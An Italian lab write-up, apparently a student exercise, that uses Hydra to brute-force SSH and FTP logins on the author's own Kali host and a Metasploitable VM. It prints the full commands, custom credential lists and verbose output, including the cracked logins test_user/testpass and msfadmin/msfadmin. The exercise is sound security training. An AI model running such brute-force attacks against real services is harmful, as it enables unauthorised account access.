

## TASK:

Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete

Seguendo la traccia dell'esercitazione sono andato per prima cosa ad installare Seclist e Vsftpd:

```
(kali㉿kali)-[~]  
$ sudo apt install seclists  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
seclists is already the newest version (2022.4-0kali1).  
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
```

```
(kali㉿kali)-[~]  
$ sudo apt install vsftpd  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
The following NEW packages will be installed:  
vsftpd  
0 upgraded, 1 newly installed, 0 to remove and 3 not upgraded.  
Need to get 142 kB of archives.  
After this operation, 351 kB of additional disk space will be used.  
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]  
Fetched 142 kB in 1s (159 kB/s)  
Preconfiguring packages ...  
Selecting previously unselected package vsftpd.  
(Reading database ... 382935 files and directories currently installed.)  
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...  
Unpacking vsftpd (3.0.3-13+b2) ...  
Setting up vsftpd (3.0.3-13+b2) ...  
update-rc.d: We have no instructions for the vsftpd init script.  
update-rc.d: It looks like a network service, we disable it.  
Processing triggers for man-db (2.11.0-1+b1) ...  
Processing triggers for kali-menu (2022.4.1) ...
```

A questo punto sono andato a creare il nuovo user:

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
Adding user `test_user' ...  
Adding new group `test_user' (1001) ...  
Adding new user `test_user' (1001) with group `test_user (1001)' ...  
Creating home directory `/home/test_user' ...  
Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y  
Adding new user `test_user' to supplemental / extra groups `users' ...  
Adding user `test_user' to group `users' ...
```

Seguendo sempre la traccia sono andato a controllare che l'aggiunta del nuovo user avesse avuto successo e ho attivato il servizio ssh:

```
(kali㉿kali)-[/etc/ssh]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:xUgZdlJaiTw0mLFRwI1C3MdXUHKC9cldYi+Zv1j3rk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

A questo punto ho creato per comodità 2 liste, una contenente gli username e l'altra le password:

```
(kali㉿kali)-[~]
$ cd /home/kali/Desktop/hydra
(kali㉿kali)-[~/Desktop/hydra]
$ cat userlist.txt
admin
test_user
user1
user2
test
```

```
(kali㉿kali)-[~/Desktop/hydra]
$ cat password.txt
123456
abcdef
testpass
qweasd
```

Avrei potuto utilizzare le liste scaricate con Seclist ma sono molto lunghe e avrebbe richiesto molto tempo da parte di Hydra provare tutte le combinazioni. A questo punto ho lanciato Hydra inserendo le liste da me create e mettendo l'indirizzo ip da analizzare e il servizio preso in riferimento, iniziando con SSH:

```
(kali㉿kali)-[~/Desktop/hydra]
$ hydra -L /home/kali/Desktop/hydra/userlist.txt -P /home/kali/Desktop/hydra/password.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or f

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:49:20
[DATA] max 4 tasks per 1 server, overall 4 tasks, 24 login tries (l:6/p:4), ~6 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 08:49:36
```



Ho lanciato poi lo stesso comando aggiungendo lo switch -V per vedere tutti i tentativi del tool:

```
(kali@kali)-[~/Desktop/hydra]
$ hydra -L /home/kali/Desktop/hydra/userlist.txt -P /home/kali/Desktop/hydra/password.txt 192.168.50.100 -t4 -V ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:46:07
[DATA] max 4 tasks per 1 server, overall 4 tasks, 24 login tries (l:6/p:4), ~6 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "123456" - 1 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "abcdef" - 2 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 3 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "qweasd" - 4 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 5 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abcdef" - 6 of 25 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 7 of 25 [child 2] (0/1)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[RE-ATTEMPT] target 192.168.50.100 - login "user1" - pass "abcdef" - 8 of 25 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "123456" - 9 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "abcdef" - 10 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "testpass" - 11 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "qweasd" - 12 of 25 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "123456" - 13 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "abcdef" - 14 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "testpass" - 15 of 25 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "qweasd" - 16 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "123456" - 17 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "abcdef" - 18 of 25 [child 1] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "test" - pass "123456" - 18 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "testpass" - 19 of 25 [child 0] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "test" - pass "testpass" - 19 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "qweasd" - 20 of 25 [child 1] (0/1)
[ATTEMPT] target 192.168.50.100 - login "" - pass "123456" - 21 of 25 [child 2] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "" - pass "123456" - 21 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "" - pass "abcdef" - 22 of 25 [child 0] (0/1)
[ATTEMPT] target 192.168.50.100 - login "" - pass "testpass" - 23 of 25 [child 2] (0/1)
[ATTEMPT] target 192.168.50.100 - login "" - pass "qweasd" - 24 of 25 [child 1] (0/1)
[RE-ATTEMPT] target 192.168.50.100 - login "" - pass "qweasd" - 24 of 25 [child 1] (0/1)
[REDO-ATTEMPT] target 192.168.50.100 - login "admin" - pass "qweasd" - 25 of 25 [child 1] (1/1)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 08:46:34
```

Sono poi passato a lanciare Hydra ma per il servizio ftp:

```
(kali@kali)-[~/]
$ hydra -L /home/kali/Desktop/hydra/userlist.txt -P /home/kali/Desktop/hydra/password.txt 192.168.50.100 -t4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:09:36
[DATA] max 4 tasks per 1 server, overall 4 tasks, 24 login tries (l:6/p:4), ~6 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:09:54
```

E ho poi provato a lanciarli con lo switch -V:

```
(kali@kali)-[~/]
$ hydra -L /home/kali/Desktop/hydra/userlist.txt -P /home/kali/Desktop/hydra/password.txt 192.168.50.100 -t4 -V ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:08:41
[DATA] max 4 tasks per 1 server, overall 4 tasks, 24 login tries (l:6/p:4), ~6 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "123456" - 1 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "abcdef" - 2 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "testpass" - 3 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "admin" - pass "qweasd" - 4 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 5 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abcdef" - 6 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 7 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qweasd" - 8 of 24 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "123456" - 9 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "abcdef" - 10 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "testpass" - 11 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user1" - pass "qweasd" - 12 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "123456" - 13 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "abcdef" - 14 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "testpass" - 15 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "user2" - pass "qweasd" - 16 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "123456" - 17 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "abcdef" - 18 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "testpass" - 19 of 24 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test" - pass "qweasd" - 20 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "123456" - 21 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "abcdef" - 22 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "testpass" - 23 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "" - pass "qweasd" - 24 of 24 [child 1] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:08:59
```

Ho quindi provato a lanciare Hydra su Metasploitable per il servizio FTP con questo risultato:

```
(kali㉿kali)-[~]  
└─$ hydra -L /home/kali/Desktop/hydra/userlist.txt -P /home/kali/Desktop/hydra/password.txt 192.168.50.111 -t4 ftp  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations (this is non-binding, these *** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 10:25:07  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 35 login tries (l:7/p:5), ~9 tries per task  
[DATA] attacking ftp://192.168.50.111:21/  
[21][ftp] host: 192.168.50.111 login: msfadmin password: msfadmin  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 10:25:34
```

quindi sono riuscito a scoprire username e password di metasploitable.